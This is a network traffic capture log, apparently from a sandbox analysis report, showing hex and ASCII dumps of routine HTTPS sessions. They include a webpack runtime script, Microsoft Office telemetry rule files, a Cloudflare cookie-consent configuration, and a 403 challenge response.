2024-10-16 15:56:51 UTC	419	IN	Data Raw: 31 38 65 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 63 3d 7b 7d 2c 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 74 3d 61 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6e 3d 61 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 63 5b 65 5d 2e 63 61 6c 6c 28 6e 2e 65 78 70 6f 72 74 73 2c 6e 2c 6e 2e 65 78 70 6f 72 74 73 2c 73 29 2c 6e 2e 6c 6f 61 64 65 64 3d 21 30 2c 6e 2e 65 78 70 6f 72 74 73 7d 73 2e 6d 3d 63 2c 65 3d 5b 5d 2c 73 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 6e 29 7b 76 Data Ascii: 18e3!function(){"use strict";var e,t,n,r,o,c={},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;var n=a[e]={id:e,loaded:!1,exports:{}};return c[e].call(n.exports,n,n.exports,s),n.loaded=!0,n.exports}s.m=c,e=[],s.O=function(t,n,r,o){if(!n){v
2024-10-16 15:56:51 UTC	1369	IN	Data Raw: 7d 29 29 3f 6e 2e 73 70 6c 69 63 65 28 66 2d 2d 2c 31 29 3a 28 61 3d 21 31 2c 6f 3c 63 26 26 28 63 3d 6f 29 29 3b 69 66 28 61 29 7b 65 2e 73 70 6c 69 63 65 28 64 2d 2d 2c 31 29 3b 76 61 72 20 69 3d 72 28 29 3b 76 6f 69 64 20 30 21 3d 3d 69 26 26 28 74 3d 69 29 7d 7d 72 65 74 75 72 6e 20 74 7d 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 64 3d 65 2e 6c 65 6e 67 74 68 3b 64 3e 30 26 26 65 5b 64 2d 31 5d 5b 32 5d 3e 6f 3b 64 2d 2d 29 65 5b 64 5d 3d 65 5b 64 2d 31 5d 3b 65 5b 64 5d 3d 5b 6e 2c 72 2c 6f 5d 7d 2c 73 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 64 65 66 61 75 6c 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e Data Ascii: }))?n.splice(f--,1):(a=!1,o<c&&(c=o));if(a){e.splice(d--,1);var i=r();void 0!==i&&(t=i)}}return t}o=o\|\|0;for(var d=e.length;d>0&&e[d-1][2]>o;d--)e[d]=e[d-1];e[d]=[n,r,o]},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return
2024-10-16 15:56:51 UTC	1369	IN	Data Raw: 78 22 2c 32 35 33 3a 22 61 30 36 63 66 66 39 33 34 65 39 35 37 39 35 33 36 63 65 31 63 31 30 62 61 64 32 31 63 31 64 36 64 37 66 36 33 61 65 30 22 2c 32 38 35 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 64 65 6d 6f 2d 70 61 67 65 73 2d 61 72 69 61 2d 6c 61 62 65 6c 73 2d 61 72 69 61 2d 6c 61 62 65 6c 73 2d 74 73 78 22 2c 32 39 37 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 67 65 2d 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 33 30 39 3a 22 38 64 32 36 37 37 38 34 38 61 64 63 31 38 36 61 37 66 61 34 66 38 33 38 65 61 66 38 61 34 36 30 31 33 35 61 32 32 66 34 22 2c 33 32 38 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 Data Ascii: x",253:"a06cff934e9579536ce1c10bad21c1d6d7f63ae0",285:"component---src-components-demo-pages-aria-labels-aria-labels-tsx",297:"component---src-components-page-page-template-tsx",309:"8d2677848adc186a7fa4f838eaf8a460135a22f4",328:"component---src-component
2024-10-16 15:56:51 UTC	1369	IN	Data Raw: 31 64 65 66 32 36 38 32 30 38 37 22 2c 39 32 3a 22 37 61 36 33 62 32 39 31 35 61 32 33 64 33 30 65 64 65 30 35 22 2c 39 38 3a 22 63 35 36 38 64 66 66 64 64 63 65 34 36 64 30 64 64 37 66 33 22 2c 31 32 34 3a 22 33 31 36 33 37 64 38 61 62 38 62 31 35 34 38 37 65 34 63 31 22 2c 31 36 36 3a 22 36 64 35 32 39 31 64 33 34 37 33 35 32 65 32 62 65 65 62 38 22 2c 31 37 34 3a 22 32 34 32 37 37 32 65 66 31 30 64 38 64 31 36 31 61 65 32 34 22 2c 32 32 33 3a 22 31 65 62 32 30 30 36 35 34 37 34 36 65 31 33 66 30 32 34 33 22 2c 32 35 33 3a 22 38 62 36 31 35 35 34 65 66 34 63 34 39 30 62 37 37 39 63 65 22 2c 32 37 38 3a 22 63 64 39 64 34 34 30 39 39 31 31 35 65 30 32 30 37 35 34 62 22 2c 32 38 35 3a 22 39 35 66 61 34 32 64 39 36 36 32 62 34 35 64 30 31 61 34 37 22 2c 32 Data Ascii: 1def2682087",92:"7a63b2915a23d30ede05",98:"c568dffddce46d0dd7f3",124:"31637d8ab8b15487e4c1",166:"6d5291d347352e2beeb8",174:"242772ef10d8d161ae24",223:"1eb200654746e13f0243",253:"8b61554ef4c490b779ce",278:"cd9d44099115e020754b",285:"95fa42d9662b45d01a47",2
2024-10-16 15:56:51 UTC	1369	IN	Data Raw: 6e 29 66 6f 72 28 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 2c 64 3d 30 3b 64 3c 69 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 75 3d 69 5b 64 5d 3b 69 66 28 75 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 3d 3d 65 7c 7c 75 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 65 62 70 61 63 6b 22 29 3d 3d 6f 2b 6e 29 7b 61 3d 75 3b 62 72 65 61 6b 7d 7d 61 7c 7c 28 66 3d 21 30 2c 28 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 29 2e 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2c 61 2e 74 69 6d 65 6f 75 74 3d 31 32 30 2c 73 2e 6e 63 26 26 61 2e 73 65 74 41 74 74 72 69 62 75 74 Data Ascii: n)for(var i=document.getElementsByTagName("script"),d=0;d<i.length;d++){var u=i[d];if(u.getAttribute("src")==e\|\|u.getAttribute("data-webpack")==o+n){a=u;break}}a\|\|(f=!0,(a=document.createElement("script")).charset="utf-8",a.timeout=120,s.nc&&a.setAttribut
2024-10-16 15:56:51 UTC	484	IN	Data Raw: 61 64 45 72 72 6f 72 22 2c 61 2e 74 79 70 65 3d 6f 2c 61 2e 72 65 71 75 65 73 74 3d 63 2c 72 5b 31 5d 28 61 29 7d 7d 29 2c 22 63 68 75 6e 6b 2d 22 2b 74 2c 74 29 7d 7d 2c 73 2e 4f 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 65 5b 74 5d 7d 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 2c 6f 2c 63 3d 6e 5b 30 5d 2c 61 3d 6e 5b 31 5d 2c 66 3d 6e 5b 32 5d 2c 69 3d 30 3b 69 66 28 63 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 30 21 3d 3d 65 5b 74 5d 7d 29 29 29 7b 66 6f 72 28 72 20 69 6e 20 61 29 73 2e 6f 28 61 2c 72 29 26 26 28 73 2e 6d 5b 72 5d 3d 61 5b 72 5d 29 3b 69 66 28 66 29 76 61 72 20 64 3d 66 28 73 29 7d 66 6f 72 28 74 26 26 74 28 6e 29 3b 69 3c 63 2e Data Ascii: adError",a.type=o,a.request=c,r[1](a)}}),"chunk-"+t,t)}},s.O.j=function(t){return 0===e[t]};var t=function(t,n){var r,o,c=n[0],a=n[1],f=n[2],i=0;if(c.some((function(t){return 0!==e[t]}))){for(r in a)s.o(a,r)&&(s.m[r]=a[r]);if(f)var d=f(s)}for(t&&t(n);i<c.
2024-10-16 15:56:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:51 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:51 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:51 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: e1d8db9a-401e-0048-7bd8-1e0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155651Z-16b659b4499bnwsctrq8dt6ghw00000006z000000000p2tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:51 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:51 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:51 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:51 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 3f38a2ce-801e-0015-6cd9-1ef97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155651Z-r197bdfb6b4sn8wg20e97vn7ps00000008f000000000krv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:51 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:51 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:51 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:51 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a14dcc21-f01e-003f-11d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155651Z-16b659b4499bnwsctrq8dt6ghw00000006x000000000uhhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:51 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49868	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:51 UTC	663	OUT	GET /public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/b1e05d49-f072-4bae-9116-bdb78af15448.json HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:51 UTC	1130	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:51 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"58546ca5d4eb4f4a13ab1bb5353b1bd2" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WCQ9pEo1hCJTGjHD1a0c%2F1HPtyWSJSpOKBOnXdBOeVv7rR2aE6nK4I0ZQp7ApK8rEG95n%2BJsNAeT1pG9Udj5eNdtOm5Q%2FAP6x5%2BZX0tELrWOlyLLKgqF5bnHX9rIqnilyhmVU0aQJUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=q6zK7VK_mNTRxvmdgfHYzCPhMPorBANlL0q965aVs1g-1729094211-1.0.1.1-Tjyc2_wFyb4Lsy0nvbAdy1kWzN_B9fHVcBitkJGyvyxXmAbo1GNg6TRc9vMAduYOzz6sgikVPQoqd594sP_9Sb6rvwUw.lTboBQwDzta7p0; path=/; expires=Wed, 16-Oct-24 16:26:51 GMT; domain=.www.cloudflare.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8d393dc45f986c67-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:51 UTC	239	IN	Data Raw: 31 34 66 61 0d 0a 7b 22 43 6f 6f 6b 69 65 53 50 41 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 53 61 6d 65 53 69 74 65 4e 6f 6e 65 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 56 32 43 53 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4d 75 6c 74 69 56 61 72 69 61 6e 74 54 65 73 74 69 6e 67 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 55 73 65 56 32 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 53 44 4b 22 3a 66 61 6c 73 65 2c 22 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 63 72 69 70 74 54 79 70 65 22 3a 22 4c 4f 43 41 4c 22 2c 22 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 2e 32 2e 30 22 2c 22 4f 70 74 61 6e 6f 6e 44 61 74 61 4a Data Ascii: 14fa{"CookieSPAEnabled":true,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"202407.2.0","OptanonDataJ
2024-10-16 15:56:51 UTC	1369	IN	Data Raw: 53 4f 4e 22 3a 22 62 31 65 30 35 64 34 39 2d 66 30 37 32 2d 34 62 61 65 2d 39 31 31 36 2d 62 64 62 37 38 61 66 31 35 34 34 38 22 2c 22 47 65 6f 6c 6f 63 61 74 69 6f 6e 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 67 65 6f 6c 6f 63 61 74 69 6f 6e 2e 6f 6e 65 74 72 75 73 74 2e 63 6f 6d 2f 63 6f 6f 6b 69 65 63 6f 6e 73 65 6e 74 70 75 62 2f 76 31 2f 67 65 6f 2f 6c 6f 63 61 74 69 6f 6e 22 2c 22 42 75 6c 6b 44 6f 6d 61 69 6e 43 68 65 63 6b 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6f 6f 6b 69 65 73 2d 64 61 74 61 2e 6f 6e 65 74 72 75 73 74 2e 69 6f 2f 62 61 6e 6e 65 72 73 64 6b 2f 76 31 2f 64 6f 6d 61 69 6e 67 72 6f 75 70 63 68 65 63 6b 22 2c 22 52 75 6c 65 53 65 74 22 3a 5b 7b 22 49 64 22 3a 22 30 31 38 64 65 62 66 62 2d 34 63 61 34 2d 37 35 33 37 2d 39 39 32 Data Ascii: SON":"b1e05d49-f072-4bae-9116-bdb78af15448","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","BulkDomainCheckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"018debfb-4ca4-7537-992
2024-10-16 15:56:51 UTC	1369	IN	Data Raw: 61 67 22 2c 22 61 69 22 2c 22 61 6c 22 2c 22 61 6d 22 2c 22 61 6f 22 2c 22 61 71 22 2c 22 61 72 22 2c 22 61 73 22 2c 22 61 75 22 2c 22 61 77 22 2c 22 61 7a 22 2c 22 62 61 22 2c 22 62 62 22 2c 22 72 73 22 2c 22 62 64 22 2c 22 72 75 22 2c 22 62 66 22 2c 22 72 77 22 2c 22 62 68 22 2c 22 62 69 22 2c 22 62 6a 22 2c 22 62 6c 22 2c 22 62 6d 22 2c 22 62 6e 22 2c 22 62 6f 22 2c 22 73 61 22 2c 22 62 71 22 2c 22 73 62 22 2c 22 73 63 22 2c 22 62 72 22 2c 22 73 64 22 2c 22 62 73 22 2c 22 62 74 22 2c 22 62 76 22 2c 22 73 67 22 2c 22 73 68 22 2c 22 62 77 22 2c 22 73 6a 22 2c 22 62 79 22 2c 22 62 7a 22 2c 22 73 6c 22 2c 22 73 6e 22 2c 22 73 6f 22 2c 22 63 61 22 2c 22 73 72 22 2c 22 73 73 22 2c 22 63 63 22 2c 22 63 64 22 2c 22 73 74 22 2c 22 73 76 22 2c 22 63 66 22 2c 22 Data Ascii: ag","ai","al","am","ao","aq","ar","as","au","aw","az","ba","bb","rs","bd","ru","bf","rw","bh","bi","bj","bl","bm","bn","bo","sa","bq","sb","sc","br","sd","bs","bt","bv","sg","sh","bw","sj","by","bz","sl","sn","so","ca","sr","ss","cc","cd","st","sv","cf","
2024-10-16 15:56:51 UTC	1369	IN	Data Raw: 31 35 61 31 39 37 37 66 63 37 32 65 22 2c 22 4e 61 6d 65 22 3a 22 43 68 69 6e 61 20 4f 6e 6c 79 22 2c 22 43 6f 75 6e 74 72 69 65 73 22 3a 5b 22 63 6e 22 5d 2c 22 53 74 61 74 65 73 22 3a 7b 7d 2c 22 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 7b 22 64 65 22 3a 22 64 65 22 2c 22 64 65 66 61 75 6c 74 22 3a 22 7a 68 22 2c 22 65 6e 22 3a 22 65 6e 22 7d 2c 22 42 61 6e 6e 65 72 50 75 73 68 65 73 44 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 44 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 47 6c 6f 62 61 6c 22 3a 66 61 6c 73 65 2c 22 54 79 70 65 22 3a 22 47 44 50 52 22 2c 22 55 73 65 47 6f 6f 67 6c 65 56 65 6e 64 6f 72 73 22 3a 66 61 6c 73 65 2c 22 56 61 72 69 61 6e 74 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 54 65 73 74 Data Ascii: 15a1977fc72e","Name":"China Only","Countries":["cn"],"States":{},"LanguageSwitcherPlaceholder":{"de":"de","default":"zh","en":"en"},"BannerPushesDown":false,"Default":false,"Global":false,"Type":"GDPR","UseGoogleVendors":false,"VariantEnabled":false,"Test
2024-10-16 15:56:51 UTC	1032	IN	Data Raw: 2f 2f 63 64 6e 2e 63 6f 6f 6b 69 65 6c 61 77 2e 6f 72 67 2f 76 65 6e 64 6f 72 6c 69 73 74 2f 69 61 62 32 56 32 44 61 74 61 2e 6a 73 6f 6e 22 7d 2c 22 47 6f 6f 67 6c 65 44 61 74 61 22 3a 7b 22 76 65 6e 64 6f 72 4c 69 73 74 56 65 72 73 69 6f 6e 22 3a 31 2c 22 67 6f 6f 67 6c 65 56 65 6e 64 6f 72 4c 69 73 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6f 6b 69 65 6c 61 77 2e 6f 72 67 2f 76 65 6e 64 6f 72 6c 69 73 74 2f 67 6f 6f 67 6c 65 44 61 74 61 2e 6a 73 6f 6e 22 7d 2c 22 53 63 72 69 70 74 44 79 6e 61 6d 69 63 4c 6f 61 64 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 54 65 6e 61 6e 74 46 65 61 74 75 72 65 73 22 3a 7b 22 43 6f 6f 6b 69 65 56 32 42 61 6e 6e 65 72 46 6f 63 75 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 52 65 6a 65 63 Data Ascii: //cdn.cookielaw.org/vendorlist/iab2V2Data.json"},"GoogleData":{"vendorListVersion":1,"googleVendorListUrl":"https://cdn.cookielaw.org/vendorlist/googleData.json"},"ScriptDynamicLoadEnabled":false,"TenantFeatures":{"CookieV2BannerFocus":true,"CookieV2Rejec
2024-10-16 15:56:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49851	104.18.30.78	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:52 UTC	542	OUT	GET /beacon.js HTTP/1.1 Host: performance.radar.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:52 UTC	1279	IN	HTTP/1.1 403 Forbidden Date: Wed, 16 Oct 2024 15:56:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 9643 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Content-Options: nosniff X-Frame-Options: SAMEORIGIN cf-mitigated: challenge
